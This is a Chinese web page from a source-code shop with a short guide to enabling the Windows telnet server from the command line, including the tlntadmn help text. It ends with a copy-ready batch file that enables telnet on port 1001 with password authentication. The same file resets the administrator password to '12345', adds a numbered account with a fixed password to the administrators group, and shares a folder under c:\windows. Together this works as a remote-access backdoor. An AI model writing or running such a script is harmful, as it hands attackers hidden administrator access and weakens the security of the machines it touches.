源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

cmd下开启telnet的方法

  • 时间:2020-09-05 18:54 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:cmd下开启telnet的方法
[b]1.启动 [/b] sc config tlntsvr start= auto net start telnet [b]2.telnet管理工具[/b] C:\>tlntadmn /? 用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options 所有会话用 ‘all'。 -s sessionid 列出会话的信息。 -k sessionid 终止会话。 -m sessionid 发送消息到会话。 config 配置telnet 服务器参数。 common_options 为: -u user 指定要使用其凭据的用户 -p password 用户密码 config_options 为: dom = domain 设定用户的默认域 ctrlakeymap = yes|no 设定ALT 键的映射 timeout = hh:mm:ss 设定空闲会话超时值 timeoutactive = yes|no 启用空闲会话。 maxfail = attempts 设定断开前失败的登录企图数。 maxconn = connections 设定最大连接数。 port = number 设定telnet 端口。 sec = [+/-]NTLM [+/-]passwd 设定身份验证机构 mode = console|stream 指定操作模式。 [b]3.更改验证模式[/b] tlntadmn config sec =passwd [b]4.更改端口[/b] tlntadmn config port = 1001 5.批处理
[u]复制代码[/u] 代码如下:
@echo off @sc config tlntsvr start= auto @net start telnet @tlntadmn config sec =passwd @tlntadmn config port = 1001 @net user administrator 12345 @net user 394931603 123456789 /add @net localgroup administrators 394931603 /add @pause @md c:\windows\3949 @net share 3949=c:\windows\3949
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部